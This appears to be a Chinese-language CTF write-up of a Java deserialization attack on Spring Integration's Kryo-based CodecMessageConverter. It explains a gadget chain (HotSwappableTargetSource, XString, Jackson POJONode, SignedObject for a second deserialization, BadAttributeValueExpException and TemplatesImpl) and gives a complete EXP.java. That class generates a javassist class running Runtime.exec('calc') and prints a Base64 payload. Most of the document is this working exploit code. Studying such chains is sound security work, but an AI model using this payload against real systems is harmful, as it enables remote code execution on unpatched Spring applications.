目录
在Spring依赖下,可以触发jackson的BaseJsonNode#toString,从而调用getter,而后为所欲为
【Web】浅聊Jackson序列化getter的利用——POJONode_jackson 序列化时指定get方法
至于如何调用toString,对于原生反序列化,走BadAttributeValueExpException最为方便,对于Field型的非原生反序列化, 如果对于Map的反序列化过程有类似HashMap#put的实现,就可以考虑HotSwappableTargetSource利用链
而本题用的是kyro进行非原生反序列化,并且有上述后者的实现机制,就可以用HotSwappableTargetSource链来打,调用getter后再选择SignedObject打二次反序列化
拿到源码似乎并没有直接给出反序列化入口,也没有看到waf
可以做文章的也就是最后return的代码
先是初始化了一个CodecMessageConverter对象,传入了codec为MessageCodec,并默认设置messageClass为GenericMessage.class
简单搜索关于CodecMessageConverter,再结合源码里给到的fromMessage和toMessage方法,不难理解其序列化和反序列化的功能
实例化完毕后接着再调用其toMessage方法
Message> decoded = (Message)this.codec.decode((byte[])((byte[])payload), this.messageClass);
这里,代码尝试将 byte[] 类型的 payload 解码成一个 Message> 对象。这个操作依赖于一个编解码器 codec,可能涉及从二进制数据到一个特定的消息对象的转换。this.messageClass 提供了目标消息的类信息,用于解码过程中确定具体的消息类型。
这里指定了解码的类型为this.messageClass(GenericMessage),所以后面构造的时候要用GenericMessage将payload封装起来(显然不影响HashMap的属性被put)
- GenericMessage genericMessage = new GenericMessage(hashMap);
- byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
- System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));
最后的最后,题目调用了getPayload(),这个方法是GenericMessage类的,这也印证了我们反序列化得到的结果是个GenericMessage对象
- package com.sea;
- import com.fasterxml.jackson.databind.node.POJONode;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xpath.internal.objects.XString;
- import javassist.ClassPool;
- import javassist.CtClass;
- import javassist.CtConstructor;
- import javassist.CtNewConstructor;
- import org.springframework.aop.target.HotSwappableTargetSource;
- import org.springframework.integration.codec.CodecMessageConverter;
- import org.springframework.integration.codec.kryo.MessageCodec;
- import org.springframework.messaging.Message;
- import org.springframework.messaging.MessageHeaders;
- import org.springframework.messaging.support.GenericMessage;
-
- import javax.management.BadAttributeValueExpException;
- import java.lang.reflect.Array;
- import java.lang.reflect.Constructor;
- import java.lang.reflect.Field;
- import java.net.URLEncoder;
- import java.security.*;
- import java.util.Base64;
- import java.util.HashMap;
-
-
- public class EXP {
- public static void main(String[] args) throws Exception {
- // 二次反序列化 BadAttributeValueExpException -> POJONode -> TemplatesImpl
- ClassPool pool = ClassPool.getDefault();
- CtClass ctClass = pool.makeClass("Evil");
- ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
- CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);
- ctClass.addConstructor(ctConstructor);
- byte[] byteCode = ctClass.toBytecode();
-
- TemplatesImpl templates = new TemplatesImpl();
- setFieldValue(templates, "_name", "whatever");
- setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
-
- POJONode pojoNode1 = new POJONode(templates);
- BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
- setFieldValue(badAttributeValueExpException, "val", pojoNode1);
-
- // 一次反序列化 HotSwappableTargetSource -> XString -> POJONode -> SignedObject
- // 初始化 SignedObject
- KeyPairGenerator keyPairGenerator;
- keyPairGenerator = KeyPairGenerator.getInstance("DSA");
- keyPairGenerator.initialize(1024);
- KeyPair keyPair = keyPairGenerator.genKeyPair();
- PrivateKey privateKey = keyPair.getPrivate();
- Signature signingEngine = Signature.getInstance("DSA");
- // 设置二次反序列化入口
- SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);
-
- POJONode pojoNode2 = new POJONode(signedObject);
- HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
- HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));
-
- // 手动构造 HashMap 以防触发正向利用链
- HashMap hashMap = new HashMap();
- setFieldValue(hashMap, "size", 2);
- Class nodeC;
- nodeC = Class.forName("java.util.HashMap$Node");
- Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
- nodeCons.setAccessible(true);
- Object tbl = Array.newInstance(nodeC, 2);
- Array.set(tbl, 0, nodeCons.newInstance(0, h1, "whatever", null));
- Array.set(tbl, 1, nodeCons.newInstance(0, h2, "whatever", null));
- setFieldValue(hashMap, "table", tbl);
-
- CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
- // 序列化
- GenericMessage genericMessage = new GenericMessage(hashMap);
- byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
-
- System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));
-
- // 反序列化
- Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
- messagecode.getPayload();
- }
-
- public static void setFieldValue(Object obj, String name, Object value) throws Exception {
- Field field = obj.getClass().getDeclaredField(name);
- field.setAccessible(true);
- field.set(obj, value);
- }
- }
利用链
- CodecMessageConverter
- -> toMessage(decodemsg, ...)
- this.codec.decode(decodemsg, ...)
-
- AbstractKryoCodec
- -> decode(decodemsg, ...)
-
- PojoCodec
- -> doDecode(...)
-
- Kryo
- -> readObject(...)
-
- MapSerializer
- -> read(...)
- Map#put(hotSwappableTargetSource, ...)
-
- HotSwappableTargetSource
- -> equals(...)
-
- XString
- -> equals(pojoNode)
-
- BaseJsonNode
- -> toString()
- InternalNodeMapper#nodeToString(this)
-
- SignedObject
- -> getObject()
- a.readObject()
-
- BadAttributeValueExpException
- -> readObject()
- valObj.toString()
-
- BaseJsonNode
- -> toString()
- InternalNodeMapper#nodeToString(this)
-
- TemplatesImpl
- -> getOutputProperties()
-
- ...